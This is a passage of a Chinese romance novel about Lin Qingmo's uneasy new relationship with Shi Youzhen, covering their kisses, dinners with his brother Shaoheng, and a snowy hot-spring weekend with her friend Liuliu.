清茉被施友臻从后背圈着按压在胸膛前,他力气太大了,紧紧地禁锢住不留一丝一毫可以活动的空隙,清茉下巴也被掐得生疼,他的亲吻没有章法全是雄性本能,清茉喘不过气,抓着施友臻后背的衣裳无声拍打,撼动不了施友臻丝毫,逐渐加深的吻在舔舐和撕咬中变得更重。 漫长的深吻拉长了时间,扭曲了时空,施友臻结束长吻之后,抱着清茉的腰,扶着已经软掉的女孩,让她趴在自己胸膛上缓着急促的呼吸。 清茉没了索吻时候的嚣张气焰,慌乱中紧紧攥着施友臻衣袖,懵懵地眼神躲闪。 施友臻放任她缓了片刻,首尾呼应似的,重新亲吻了清茉的额头,这次清茉沉默着没有再挑衅。他再次牵着清茉的手,穿过松柏树林,到泊车的地方。 清茉爬上副驾驶,施友臻上车后,又握着清茉的后颈把人捞过来,在仿佛已经吓懵的小女孩唇上轻吻了一下,心情很好地噙了笑,问着:“怎么吓懵了,很意外吗,不是你想要的?” 清茉抿了下嘴唇,小声说着:“你力气太大了……”她拉下镜子照了照,下唇有处明显的深色红肿,施友臻掐着她下颌掰过来看,再次凑过去轻吻了下,说着:“没破皮。” 林清茉:“……” 车子启动,清茉还是很紧绷,双手攥着安全带很紧,看施友臻要往狮麟别苑开,清茉赶紧拒绝道:“今天我想回家。” 施友臻没拦,调整方向去了清茉的小区,车子停在楼下的时候,清茉挡在单元门口入口,拦住想一起上楼的施友臻,说着:“今天不行,哥,我脑子很乱,今天不行,你不能上去。” 施友臻好像也需要做出慎重决定,就在门口停了脚步,说着:“好。” 林清茉明显松口气,要把披在肩上的外套还给施友臻,但是施友臻没让,拉过清茉的手,像是突然就上了瘾,揽着她的腰低头又深吻起来,清茉都觉得他就是故意,磨咬着方才红肿的位置,清茉闷哼求饶他才满意松口。 施友臻原本厌恶一切让人上瘾的东西,比如酒精,香烟,赌博,.这几样,现在也是厌恶,之前的选项中还有X爱,他暂时决定先移出厌恶选项,不做评价。 人对未知领域还是应该保持谦虚和敬畏,他之前没想过,会对亲吻上瘾。夜晚校园的松柏树林中,他低头去尝试的那一瞬间,打开了心底洪水猛兽的阀门,克制与自律的界线从此荡然全无。 现在他看到清茉软软润润的双唇,就想品尝。 终于被放开,清茉摁着下唇提着裙子匆匆往电梯跑,电梯门关上的那刻才松口气,回到房间把礼服和施友臻的外套整理挂好,卸妆洗漱后窝在男人的专属沙发上发呆。 施友臻今天没难为落荒而跑的林清茉,他觉得既然要开始,有些事情还是弄得明明白白好,不然就是心中的一颗刺,他也是凡夫俗子,没有高尚到毫不介意,或者,也没有走到不计后果那一步。 不过施友臻倒没有陷入矛盾中不能自拔,他心里隐约有了定论,之前一直等个契机,觉得林清茉会更早于他坦白,不过今夜看来,从小就跟小狐狸一样的女孩,有着自己的小九九,那就放任好了。 第37章 第三十七章 深夜,施友臻夜宿在狮麟别…… 深夜, 施友臻夜宿在狮麟别苑。 清茉的痕迹已经散布在这个房屋的各处,听章宁汇报,前天夜里这里热闹非凡, 一直熬到后半夜。他在书房将清茉用的词典一类工具书码整齐,打开了电脑。 很快,显示界面上出现了搜索页面的汇总。这个处处留痕的网络时代, 用真实姓名、手机号能引索出很多关键信息,使用合法的、普通的办法, 就能整合拼凑出若干真实情况。 并不是每个人都经历过信息隐私保护的培训。 比如在校期间获得的优秀奖项、实习期间在媒体发表的署名新闻、甚至在职后发布的后勤项目招标联系人。 他的清茉, 估计自以为演得好, 其实漏洞百出。 施友臻是出了名的严苛BOSS, 洞察力超乎常人, 他前段时间就开始对清茉自述的职业和经历存疑,因为想不通她为什么撒谎,就一直放任, 没有介入, 毕竟背后私自调查,算失礼冒犯, 他觉得清茉会在一个合适的契机主动澄清。 比如今夜, 她原本可以邀请施友臻入户深谈。 可惜没有, 既然没有,那施友臻就自己查一查, 他来查, 就是攻守逆转,清茉失去了主动坦白的机会,主动权落在了施友臻手里。 施友臻决定去查,也是因为最近这种割裂的违和感更明显。清茉的学习能力很突出, 接触新语言两周就能落落大方地流利登台演出,每天复习、预习习惯良好,学习自驱动力优异,杨教授反馈,清茉外语习得规律掌握熟练,举一反三能力很强,高校语言学基础课程应该是学得很不错,她的学生都没几个能把全套国际音标发音标准到清茉的水平。 重点是,从今天拥吻的表现来看,自诩在风尘中阅人无数,游刃有余的女人,不该是这种恐惧慌张的反应,她还拦着不放他上楼。如果真的耽于红尘,不该热烈欢迎吗?一日夫妻百日恩,她如果是那种想获利的女人,今天本可以一夜春宵换千金。 清茉应该比谁都清楚他的大方作风。 施友臻相信自己的直觉,直觉又有很多证据来佐证,平时频繁接触下来,她的谈吐言行、学习能力,都跟轻浮自述无法吻合。 亲都亲了,必须要确认。 施友臻坐在书桌前,兀自笑了下,决定不去戳破,看他的小狐狸准备演到什么程度,他也好奇清茉的小算盘上到底在计算什么,这样换个角度去看,好像也别有趣味。 搜集出来的学业、履历只是一部分,还有很多需要进一步查证,不过可以下结论,清茉一直在认真生活,很优秀地完成了学业。不过施友臻总觉得清茉的工作履历有些奇怪,看她最近的时间安排,应该是没有全职,是离职中断了吗?前段时间情绪低落动不动就哭,跟工作有关系? 未解之谜还有很多,不过到底是长叹,他的小女孩,很了不起。 无解,更想亲了。 这边施友臻深夜未眠,那边林清茉直接失眠,辗转反侧到清晨。 后悔,很后悔,吃亏不止一次了,干嘛去招惹施友臻,他是根本降不住的人,清茉非常后悔不知深浅的挑逗,现在内心的忐忑不安和犹豫怀疑,大过被亲吻的心动喜悦,她非常后悔地想着,或许额头吻亲脑门的尺度就是最合适的。 你看,施友臻对于尺度的拿捏才是正确的,她非要冒进,结果反倒陷入了困境。 她甚至都没有澄清自己的身份,男人是容易臣服于生物本能的动物,他是见色起意吗?比起之前两个家族实力相当的慎重感,现在这样,对于施友臻来说,获得一个可以解闷的漂亮情人是不是更操作简单。 攀附于施友臻,被安排一个金钱宽裕的体面人生,短期或者长期,应该是很容易的事情。 值得吗?踽踽独行的这些岁月,咬牙打拼的独立时光算什么?一份感情要刻骨铭心到什么程度,才值得付出女性的自我人生? 施友臻作为哥哥,作为人生导师是不是更好,就像这次,在清茉被迫中断职场的时候,施友臻抛出的重新留学规划,打开了清茉的视野和思路,让她反思人生的道路到底该怎么选择,是不是可以勇敢一点重新出发,去从事自己喜欢的事业。 她是真的在准备申请留学。 她有点害怕,再失控的话,那是要承担后果的,现在悬崖勒马也不晚,没有表白,没有承诺,也没有上·床。 清晨,清茉去把密码锁的密码重置,线上客服很早之前就把重置指导视频发了过来,清茉一直没有去操作。 重置好之后,清茉踏实回床上躺着,困意渐渐袭来,她睡着前想着,所以还是年少青春时候的感情最好,干干净净,不必思虑万千,在放肆爱的时候放肆去爱,大胆承认,大胆表白,就算分开了也是白月光,也有无限可能的人生路在前面。 不像现在。一段刚开始就处于弱势、被扶贫被资助的感情,指望坚如磐石和日后的平等,不现实。清茉实在不想经历再一次的被至亲至爱遗弃,她不可能先说爱,不如就这样,顶着风尘多情的人设,真真假假地不必交心,该走的时候就走了。 周六不用去杨教授那里赶着上课,她补眠睡到中午,被电话吵醒,是少衡的来电,他原本约好周六晚上跟清茉一起吃饭,清茉爬起来,应着,但是补了句:“哥也一起吗?” 少衡的声音还是那么开朗,说着:“我待会打电话问一嘴,他天天忙着呢,估计没空。我这家可是宝藏餐厅,调酒师超厉害,我跟着学过一段时间,今天我给你调,我去接你呗。” 清茉躺到客厅沙发上听电话,懒懒翻了个身,说着:“不用,非得喝酒啊,你别又喝醉醺醺的。” 少衡:“什么叫‘又’啊?小酌怡情嘛。” 不想在家里待着胡思乱想,清茉带着课本去找了个清静咖啡厅,下午冬日暖阳晒进店里,她瞧着外面的护城河水发呆,河边一排杨柳,要是来年开春,应该是很漂亮的杨柳如烟。 清茉点了一个超大杯橙子暖姜。 不上班确实很好,心里干干净净,竟然还能有精力烦恼感情问题,不用周末奔波加班备会,也不用不情不愿地被喊去参加那些各种甲方应酬,人是不能不上班的,一旦不上,尝到甜头,就更不想上了。 手机震动,施友臻发来信息:“密码?” 清茉心虚,假装没看到,施友臻很快又拨过来电话,清茉摁掉,回复信息:“在图书馆学习呢。” 施友臻没有不依不饶继续打,清茉松口气。 她趴在桌子上,看外面野钓的人收杆,总有种不知道怎么面对的感觉。她发信息给六六,问着:“六啊,你喜欢一个人的时候,什么感觉啊?” 老六秒回:“你看出来我喜欢焦叔了?我喜欢他就是天天想往他店里跑,但是他心里有人,我排不上号。” 清茉:“?不是,你什么时候喜欢焦叔的?” 老六:“最近,姐们哪儿呢?咱们相聚聊一聊感情问题呗,你咋了,对那位哥哥动心了?吃得下吗?他吃你小意思,感觉你吃不了他。” 清茉:“一言难尽,那明天我去找你。” 老六:“来吧,艾米联系你没?” 清茉:“没,怎么了?” 老六:“她今天跟我借钱哎,好像投资出了点问题,没找你吗?” 清茉:“没有,估计知道我这种工薪也帮不了吧。” 老六:“见面聊,那明天我定个温泉私汤,咱们去闺蜜局。” 清茉:“好好好,谢谢款姐老六。” 跟六六瞎聊两句,清茉轻松很多,心里盘算着最起码明天能出去躲一天,她好怕被施友臻堵门,堵门约等于进门,进门被摁住的话……搞不好就是限制级,施友臻力气太大了! 下班时间,咖啡店里陆续进来很多小聚的职场人,清茉收拾书本起身,去了跟少衡约好的地方。少衡约的餐吧在闹市地下,清茉刚下台阶走进去,突然被人贴住后背蒙住眼睛,清茉吓一跳,少衡贱嗖嗖拿腔拿调说着:“猜猜我是谁?” 清茉拍他手背,少衡自报家门:“我是将你吻醒的白马王子!永远为您效劳的勇敢骑士!两肋插刀的江湖少侠施少衡!” 清茉乐道:“哇!你读书好多的样子!好会说!” 少衡嘿嘿嘿松手,牵着清茉的手往里走,笑道:“还是我茉茉会捧场,约你可太难了,反正今天是通宵的场子,你来了就给我陪回本。” 少衡留了最好的位置给清茉,这是他跟朋友一起投的场子,少衡朋友们也好奇地过来打招呼,施少衡大模大样介绍道:“这位美女是我施少衡一辈子的公主殿下,茉茉,给你介绍一下我的狐朋狗友。” 他一边招呼,一边要给清茉调酒,清茉赶紧说着:“你给我整个莓果养乐多就行了。” 少衡摇着雪克杯:“先来个简单的,听说后半夜有雪,来个雪国吧,茉茉看好了,我要开始表演了。” 清茉看少衡孩子气满满地在那里卖力展示,眉眼都是少年时候的样子,笑得舒展开朗,没有被丁点烦心事拖累沾染,她被感染地也轻松笑起来,少衡调好给清茉推过来,说着:“下面让我的朋友给调,今天还请了驻唱,超酷的一个小姐姐,我陪你听她唱歌,咱俩聊聊天。” 他正说着,掏出震动的手机接起来,说着:“来了?这么闲的吗?”起身跟清茉解释:“我哥来了,我去接一下,茉茉等等啊。” 清茉:“……” 施少衡玩的地方,施友臻一般很少出现,少衡的朋友们相互交换着眼神,自觉坐得远一些,清茉也想躲,但是不可能,于是她左手边施友臻,右手边施少衡,她夹在中间,很好,很和谐。 施友臻看了眼清茉的酒杯,少衡显摆着:“我亲手给茉茉调的‘雪山’,茉茉味道怎么样?” 清茉礼貌赞美:“特别好。” 少衡又开始秋后算账:“哥,你得跟我道歉,知道我那么在意茉茉,怎么找到了也不跟我讲,不过在我的不懈努力下,我自己找到了,这种感觉也很爽,茉茉,听说你的模特约没签大公司,自己干收入能保证吗?我想给你介绍个公司。” 清茉解释着:“都是跟朋友们合作,熟人圈子,前几天还给朋友拍了一套,收入可以的,谢谢少衡。” 少衡凑过脑袋,问着:“拍新的了吗?给我看看,你给六六拍的那些都好漂亮,我洗出来几张放办公桌了。” 清茉掏出手机找,划到那天丹尼拍的的几张试装照片,刚要递给少衡,施友臻突然把清茉的手机摁住,说着:“我也要一杯雪山。” 少衡眼睛一亮,起身道:“好嘞,难得我哥瞧得上,等着,我再来露一手!” 清茉:“……” 少衡一边调酒一边跟清茉继续聊天,问着:“茉茉,那你后来是出国念书了吗?前段时间听长辈说,有人在国外遇到过你妈妈,据说还是很年轻有活力的样子。” 清茉笑着接话:“对,她保养得很好,很有活力。” 少衡:“茉茉你做模特我觉得还挺合适,从小就漂亮,我小时候就说那些童装模特就该找你。下周有个品牌发布会,我带你一块去玩,总负责人是我朋友,咱们去试试品牌模特。” 清茉倒是觉得去长长见识也可以,就问着:“周几啊?” 少衡:“好像是周三晚上,S市,我一块给你订机票呗,今年创意听说很炸裂,请了好多明星模特站台。” 清茉瞧了眼施友臻,试探着答应道:“好,周三晚上的话,周四我一早得回来。” 少衡瞪眼:“那怎么行!你就踏实跟我玩到周末,S市模特市场活跃,我帮你约一圈人,既然被我找着了,我当然得给你打下江山,你就坐享其成,只管漂漂亮亮数数钱。” 少衡把做好的调酒推给施友臻,问着从进门就没怎么讲话的大哥:“哥,尝尝,你老弟的手艺不是吹的!今天怎么这么闲?舍得出你办公室了?” 施友臻抿了一口,点头肯定:“不错。” 少衡坐回自己座位,跟调酒师朋友招呼道:“给我来一杯‘初恋’!” 清茉:“……” 施友臻不动如山,但是接了他俩聊天的话题,问清茉:“是认真想从事模特工作?” 清茉斟酌着怎么讲才不至于夸张离谱,就简单说着:“还好,基本都是帮朋友拍摄,六六准备搬到园区大工作室,下个周末要帮她拍,少衡,我就周三去一趟吧。”她看了眼施友臻。 施友臻这次侧眼看了下清茉,说着:“少衡说得对,可以去拓展下人脉。” 清茉:“……” 她坐直身子,定板道:“我就去看展,周四一早回来,还有事儿呢。” 少衡面对清茉向来是最快速妥协,点头应着:“好好好,你最大,听你的。茉茉那你是读了艺术院校吗?感觉你还是仙儿仙儿的,要不要其他的资源?影视圈的考虑吗?我都给你拢拢。” 清茉眼角瞥了眼施友臻,继续硬编:“没考上理想的学校,就……一直做模特。” 少衡一愣,突然就张开手臂抱住茉茉,说着:“那是不是受苦了!年纪很小就得进社会吗?心疼死我!茉茉,咱要不不干了,我养你!” 清茉:“……” 施友臻:“……” 第38章 第三十八章 少衡仍旧是纯真的坦荡,他…… 少衡仍旧是纯真的坦荡, 他记忆力很好,孩提时候的趣事信手拈来,记得跟清茉幼儿园毕业汇演时候跟他搭档做小主持人, 也记得手拉手小学入学第一天,因为没有被分到一个班,少衡扒着清茉教室的门框大哭, 小学足球队训练清茉在球场旁等他,结果被他炫技的一脚球轰出鼻血。 少衡数落他哥从小就不合群, 莺飞草长的好天气喊他一起去野餐, 就是他哥蹲在书房不出门, 清茉去喊他的时候, 不小心弄乱了书码, 被他哥冷着脸推了出来,委屈得清茉大眼睛泪汪汪。不过少衡出国集训的那段时间,他哥倒是尽职尽责地跟清茉一起上学放学。 少衡问清茉分开的这些年有什么好玩的经历, 清茉转了转酒杯凉凉的杯壁, 笑着轻巧说道:“都是讨生活,每天都挺忙, 真的乏善可陈, 你呢, 听说也挑大梁了,在融恒很重要的子公司任职吧。” 少衡点头道:“嗨, 我这不是长袖善舞、知人善任嘛, 聘请专业人干专业事儿,我公司里团队都是能人,对了上次还是我那里的副总姐姐给我的照片,她是六六店里的老客户, 不然我还得找你到猴年马月呢。” 驻唱的姐姐开始了晚上的演出,店里的氛围也起来了,几个漂亮时尚的女孩过来跟少衡打招呼,好奇地拿余光瞟着清茉,清茉笑着调侃:“还是这么受欢迎吗?处处留情的花花公子?” 少衡乐:“茉茉,我心里只有你。” 清茉:“鬼才信,没我的时候你不照旧花天酒地。” 施友臻仍旧是沉默地坐在那里听着他俩聊天,抬手腕看了眼时间,起身说着:“先走了。” 少衡冲他哥随意摆摆手,清茉站起来送人,少衡拉住清茉,让她坐回去,说着:“我哥忙着呢,估计还要回办公室办公。” 清茉瞧着施友臻的背影,坚持道:“送一下吧。” 这个冬天因为发生的事情太多,显得格外漫长,外面寒风凌冽,施友臻回头看了眼跟出来的清茉,说着:“回去吧,外面太冷。” 清茉冲他挥挥手,想说什么,讲不出,就回去了。 施友臻的位置变空,清茉也跟着发呆,少衡评价着:“我哥从小就感情缺失似的,你瞧瞧今天晚上,统共加起来不超过十句话,无趣得很。不过他身价实在太高,想做媒的踏破门槛,茉茉你记得住得离咱们家很近的张嘉姐不?跟我哥同校同级的那个漂亮姐姐,前两天回国,给我带了大礼,那意思是让我再牵牵线。” 这个话题清茉很感兴趣,问着:“那你牵了吗?我记得她,气质超好,小时候她舞蹈特长拿过很多奖。” 少衡点头:“我这不是也操心我哥单身嘛,张嘉姐漂亮又能干,没吃家族企业的底子,自己干到知名车企大中华区总裁,两家也都知根知底,反正我觉得张嘉姐特别合适。我把我哥要参加的一个论坛行程发给她了,等她偶遇的好消息。” 清茉对张嘉姐还有很深的印象,追求精锐的窈窕淑女,这么一想,跟施友臻倒是真的很般配,清茉点评道:“确实很搭,咱俩小时候还打扰过张嘉姐跟哥请教学习,特别没眼力价。” 少衡乐:“所以,我这不是找补嘛,与其让外人介绍一堆乱七八糟的人塞给我哥,还不如张嘉姐呢,张嘉姐也够痴心的,这么多年就是盯着我哥,感情婚后也是可以培养的嘛,我哥跟我不一样,我再怎么玩都无所谓,他长子长孙的,家里长辈天天急得上火。” 施友臻一离开,少衡的朋友们胆子就大起来,比较熟的凑过来聊天,好奇地问着清茉的情况,听说清茉做模特,眼里有戏地笑了笑,打趣少衡道:“这么漂亮的妹妹也不早点带出来?” 也有人在一旁问着:“你哥怎么今天突然来了?刚才空气都凝滞了,怕哪里不入祖宗的眼。” 清茉在走神,没太听清楚他们聊天的内容,回神后听到凑到她旁边的一个年轻人说着:“下周一起去看秀,正好跟我女朋友做个伴,她也是模特,为了看秀今天逛街简直刷爆我的卡。” 少衡对清茉说着:“茉茉,明天我也带你逛街好不好?咱排面可不能被比下去!” 清茉看着热闹的他们笑了笑,起身说着:“明天约了朋友,少衡,我该回去了,你们继续玩。” 张嘉姐还是那么优秀,少衡谈起她是欣赏和尊重,自己则是失业者,不,是姿色尚可的无名野模,可以做男人身边刷卡采购撑撑门面的陪衬。 少衡没有恶意,事实和认知的匹配是正确的。 需要找代驾,清茉站在门口等着代驾师傅,手机震动,是施友臻发来的一个位置定位,清茉想了想,还是过去了。 施友臻选的地方,是他的风格,很清幽安静,没什么乱七八糟围观的人,清茉松口气,坐到施友臻身旁,看了眼他喝的酒,问着:“是嫌少衡那里太吵了吗?还换个地儿续杯。” 施友臻点好了一桌精致清淡的小菜,还给清茉备了暖和和的例汤,甚至还有桃胶燕窝,清茉笑着捧起桃胶燕窝,问着:“哥,您这是拆少衡的台,嫌弃他招待的不好呗。” 施友臻不接她捧高踩低的话茬,直接问着:“为什么换密码?” 清茉也诚实说着:“怕你进门呗。” 施友臻不依不饶:“为什么怕?” 清茉:“怕你把我亲断气。” 施友臻:“……”他笑了下,倒是没逼着清茉交出密码,说着:“理解你需要有心理过渡期,需要提供安全感的空间。”他也没那么想轻易放过清茉,又接了一句:“按照你以前的职业习惯,应该不至于敏感不安到换密码。” 清茉一愣,反应了一下,也没恼,放下手里的燕窝,顺着施友臻的话继续说着: “您这不是特殊嘛,随便让您进门,轻易就得了乐子,厌倦地不也快嘛,您看您这又是车子房子的,我给您提供VIP待遇,普通的水平,就少衡那堆朋友们,他们可以随意点,我肯定不换密码,哥,跟你得放长线钓大鱼。” 按照以前,清茉以为施友臻听到这种话会生气,但是眼下他却情绪稳定地端起燕窝桃胶,舀起一勺递到清茉唇边,问着:“那你讲讲看,怎么放长线钓大鱼?” 他甚至拿勺子轻轻戳了下清茉的下唇。 清茉:“……”总觉得那里不大对,她张口含住,认真思考片刻,只能敷衍说着:“男人就是容易喜新厌旧的嘛,妻不如妾妾不如偷,不仅喜新厌旧,还偏好年轻漂亮的。”她虚张声势道:“少衡可跟我吐了不少您的底儿。” 施友臻点头,嗯了声,手上动作没停,一勺一勺继续喂着清茉吃,说着:“少衡都说什么了?” 清茉:“说你是长子长孙,家里给安排了好多对象要见,对了,还有张嘉姐,这么多年一直对你情有独钟,说你们门当户对……” 施友臻放下碗勺,很轻易地揽着清茉的腰把她抱到自己腿上,他好像很喜欢面对面的姿势,就像上次深夜那个莫名其妙的拥抱,这次也是一样的姿势,清茉跨坐在他腿上,施友臻这次力道轻柔地托了清茉下巴,没弄疼她,低头开始亲吻。 清茉再次脑袋空空,身体背叛了理智,主导者又变成了施友臻,他比在松柏林的时候,温柔了很多,把清茉亲得完全忘记要说什么要做什么了。 松开清茉后,施友臻掐了下清茉的脸颊,说着:“少衡讲话不过脑子,没几句可信的。下周是想去看秀吗?邀请你做我的女伴一起过去,可以吗?不喜欢少衡的朋友们,就不去跟他们混一块,待在我身边。” 清茉懵懵地看着施友臻的眼睛,施友臻把她揽到胸前,抱了片刻,又捉住她绵绵密密地亲了起来,清茉试着去回应了一下,施友臻一顿,力气突然就大了起来,清茉的腰被掐得生疼,闷哼着要逃开,施友臻扣住清茉后颈,不允许。 至此,清茉发现施友臻的难缠,不能用正常人的思维去衡量,哪怕是失眠一宿理智思考觉得最好悬崖勒马,哪怕见面言语交锋尽量不落下风,施友臻完全不接收。争论,他硬亲,讲理,他也硬亲,清茉又是没有情场经历的小白,一被亲,过于刺激的感官让她脑袋空空。 还指望什么悬崖勒马,她简直被施友臻的套马索给勒住了喉咙。 被亲得软趴趴的清茉靠在施友臻胸口上顺气儿,施友臻敲定了下周行程,周三晚上带清茉去看秀,周四一早返回,跟杨教授的课约在下午。 施友臻突然想到一个问题,问清茉:“对待外语课这么认真?一节也不想落下?” 清茉有气无力道:“杨教授教的很好,人家那么大年纪看着你的面子来给我上基础课,我得认真点,千金也请不来的。” 施友臻抱着清茉,突然又问着:“学得这么认真,计划什么时候去留学?” 清茉其实都盘算好了,申请博士学位没有那么严格的学期入学要求,语言其实在当地交际环境下更容易自然习得,但是她是不准备跟施友臻交心她的真实打算,这会就简单说着:“等过了年,怎么也得下半年吧。” 施友臻对这个答案还算满意,说着:“可以提前安排旅行,先去体验一下。” 清茉从施友臻腿上爬下来,觉得很饿,想吃施友臻点的小菜,不过基本都凉透了,施友臻重新添了几样,清茉慢条斯理地吃着,施友臻问清茉明天什么安排,清茉心里万分感谢六六已经提前约好了,踏实说着:“跟六六泡温泉。” 回答的太快,简直就是抢答,施友臻笑了一下,问:“怕什么?” 清茉:“……” 施友臻没反对,也没管,只是说了句别玩太疯,早点回家。 清茉:“哦,那早不了,订了过夜的私汤,钱都付了,退不了的,我俩闺蜜局,六六有恋爱的烦恼我们交流一下。” 施友臻秒捕捉,问她:“我也是你的烦恼?” 清茉:“还好,这不也没恋爱嘛,严格说不算。” 施友臻:“……” 清茉:“哥,我想回家了,还要收拾下明天出去玩的行李。”她喝完例汤,抓着包跑了出去,施友臻没拦。 周日一早,六六过来开上清茉的车,载她去私汤,走到山脚下的时候,迟到了一夜的雪终于飘了下来,六六兴致很好,说着:“咱们户外的汤池正好能看山景,下雪好美,今天的预定算是值回本了。” 清茉心情也好起来,问六六:“六啊,下周三,S市有个品牌大秀,你跟丹尼有时间吗?跟我一起去玩玩呗。” 六六一听很开心地就答应了,清茉就又说着:“能陪我去可太好了,我哥让我做他女伴,好可怕。” 六六直戳要害:“怕他吃干抹净?不是,你俩谈上了?” 清茉:“没,没谈。我未来的人生规划里,没有这号大人物。” 六六:“难评!” 私汤管家已经提前打理好房间,清茉进屋在床上打滚,换好衣服躺在榻榻米上看大雪一点一点覆盖了山野,六六也躺到清茉旁边,长舒口气,说着:“好放松啊。” 她俩安静地看了一会雪,清茉说着:“我准备去留学了,六,可能要出去很久,也可能不回来了。” 六六去抱住清茉,说着:“去呗,人生是旷野,反正你去哪儿都得帮我代购,我让你做六六买手店海外业务总监,满意吗林总?” 清茉乐:“那可太满意了,我职场的最大官职。六,你是不是觉得我在开玩笑啊?” 六六躺回去,说着:“我重点大学毕业,跟家里人说要开店,我爸妈差点打死我,你不是都见证过了嘛,还陪我去过急诊。茉啊,咋说呢,不管多亲多近,都是外人,人生太短了,你自己才最重要。就像虽然我很喜欢焦叔,但是他回应不回应也无所D谓,都是外人。” 清茉笑得明朗:“哲学家,老六,六六六。” 六六盘腿坐起来,无所谓道:“爱情,友情,都无所谓,锦上添花也好,雪中送炭也好,关键是你自己得稳得住。艾米昨天晚上又给我电话了,我探明白了,她带在身边的那个年轻男孩,给介绍了一个投资人,结果是个骗子,艾米亏进去大几百万,四处借贷平账。” 清茉心软,说着:“我问问她?” 六六摇头:“别了,万一她让你跟融恒情哥哥借钱,你开不开口?” 清茉:“……” 六六:“中午点烧烤?外面放好水了,泡不泡?雪下大了,来吧茉,今儿陪你六老爷。” 第39章 第三十九章 清茉拍了很多落雪山景的美…… 清茉拍了很多落雪山景的美照, 泡的也解乏,晚上跟六六在度假村里散布,周日游客们基本都已经返程, 安静得不闻人语,回房间路上被温泉老板喊住,让她俩来餐厅, 一人给上了一大杯刚刚熬好的红枣姜茶。 下午俩人睡了悠长的午觉,晚上没有睡意, 六六干脆去屋里抱了电脑出来, 给清茉看新店面的布置陈列, 让清茉帮忙参谋参谋。清茉拉过来电脑浏览, 瞧着有一个空间风格跟整体格格不入, 都是大白墙,问着:“这块还没设计?” 六六翻了个白眼,说着:“甭提了, 丹尼那货让我给他留的展示位, 他要自己过来加工,对了, 你一提我还想起来了, 他还没给回信。”六六直接给丹尼拨过去电话, 问着:“下周三,去不去啊, 茉茉等着定人数呢。” 电话公放, 丹尼懒洋洋说着:“我瞧不上。” 六六:“那滚吧,茉茉给要了第一排的位置。” 丹尼那边窸窸窣窣,突然精神了,说着:“第一排?等一下, 去!” 清茉就给施友臻发信息:“哥,六六跟丹尼也跟我一起去看秀,可以安排吗?” 施友臻很快回复:“可以。” 清茉跟六六说搞定,六六摇头:“万能机器猫情哥,那是不是我们机票也不用买,酒店也不用定,情哥哥全包啊?那就先谢谢了哦!” 清茉想了想施友臻的作风,又想了想章大秘得意抬眼镜框的经典动作,迟疑道:“应该……是吧,明儿看看。”清茉继续看六六的新店布置,点评道:“六,眼睛有点吵,想表达的太多了,你减一点墙绘怎么样,留白是最高级的意境嘛。” 六六谁都爱怼两句,但是爱听清茉的,觉得清茉审美特别在线,平时也是,简单的基本款都能搭配得亮眼,她趴在桌子上,看清茉在电脑上做着修改建议批注,突然说了句:“茉,其实你干那么长时间的行政秘书,我还挺意外的,你辞职,我觉得是好事。” 清茉笑:“确实很磨人,不过挺锻炼人的。” 俩人闲聊着,店老板也闲下来,过来跟她们聊天,说店里过年期间会组织很多活动,城里不用回老家过年的年轻人每年都来山里聚,今年老板专门请了打铁花的团队,旁边镇子上也会有很多民宿活动,问清茉跟六六要不要过来玩。 六六瞧了眼清茉,说着:“老板您把活动发给我们,有时间我们就来。” 确实快到年关了,六六因为开店跟家里闹得不愉快,好几年不回家了,至于清茉,父母各自都组了家庭,她两边不沾,也已经很多年没有回家过年了。她俩有时候会在年假旅游,去年春节去的西南高原,今年倒是还没定去哪儿。回房间的时候将近十二点,关灯后六六很长地叹了口气,清茉问着:“怎么了?” 六六:“想过年的事儿,茉,有想去玩的地方吗?” 清茉倒不担心过年没地方玩,她琢磨着学校也快放寒假了,不知道杨教授给她上课上到什么时候,她算是已经掌握发音跟拼读规则了,跟着网上教程也能学,还有申请学校的材料也要快点再整理一下。 想着也就睡着了,第二天起床外面覆盖了厚厚一层雪,看样子夜里又下了一场,店老板在外面清扫积雪,跟清茉和六六打招呼道:“开车慢点,上高速之前的公路估计还没有清雪,你俩千万慢点,不着急就待会再走。” 清茉赶着回去上课,等不了,觉得自己驾驶没问题,老板看她俩没时间吃早饭,给打包了几个三明治,塞了果汁牛奶,让她俩路上吃,到位置了也给回个信儿,还不忘喊着:“过年也来玩啊!” 清茉一路上开得小心翼翼,上了主路,道路积雪已经清好,后面的路就好走多了,把六六放在直达的地铁站旁边,她就直奔学校去了,一进教室,杨教授就问着:“你这孩子怎么不接友臻电话,他问到我这里,担心你开车路滑,好歹是到了。” 清茉一直专心开车,手机放包里没拿出来,赶紧看了眼,施友臻打了八通电话,杨教授催着:“赶紧回一个吧。” 清茉站起来去教室外面拨给施友臻,说着:“哥?打这么多?” 施友臻听起来就不怎么高兴的样子,说着:“先上课吧。” 清茉:“……”她挺会找茬,又故意找补了句:“您的车我小心开着呢,没事,安全抵达。” 施友臻直接挂了。 学校这个周末就放寒假了,上完课杨教授乐呵呵问着清茉春节怎么安排。好像接近年关,这是人际交际避不开的话题,虽然清茉很不喜欢过这种团圆节日,团圆是别人的,以前工作的时候,她一般都会窝在家里昏睡几天,精力好再跟六六找个地方旅游。 她们俩,一个不受家里待见,一个去哪边都是多余。 今年该怎么过呢,趁着年节图书馆人少清静,准备留学材料吧。她笑着问杨教授下周还上不上课,杨教授也要出去旅行,说着:“友臻说你暑假之后才去留学,那你也休息休息?过年迎来送往也很忙,我们就开学再继续吧。” 清茉谢了杨教授,中午下课在校园里面溜达,看好多学生在操场上堆雪人、打雪仗,正觉得无聊,突然就被人打招呼,对方说着:“您好,可以认识一下吗?周五晚上没来及打招呼呢!” 清茉演出之后,在校园论坛里算是名人了,不过都找不出是哪个院系的学生,搭讪的男生那天也在后台,在这里偶遇清茉,就很大胆地想要个联系方式,清茉觉得也没什么必要,就婉拒了,但是那个男孩对着清茉远远拍了几张照片,尾随着一直到清茉去开车。 他被拒绝估计觉得面儿上挂不住,就把拍摄的照片发到校园论坛,标题是:“今天也是被高冷女神拒绝的一天”。之前社团演出照已经有一个高楼,里面很多人在扒清茉的来历,现在又有人发出新照片,一下子就火起来,有人科普清茉开的车,嘲笑楼主被拒绝是应该的。学校内部论坛辐射范围毕竟有限,这事儿暂时没有发酵出圈,当时也没多少人在意。 很长时间以来,清茉都忙忙碌碌,下午待在学校角落的小咖啡厅看书,享受着这种难得的休闲时光,心里有种不踏实的忐忑感,降雪的云层已经消失,冬天的阳光重新照着窗外松柏树林,清茉整理着发给申请学校教授的英文材料,一直搞到晚上七八点钟,觉得饿才起身。 看过几次手机,施友臻安安静静没骚扰,倒是少衡邀请清茉逛街,要给她置办周三看展的装备。 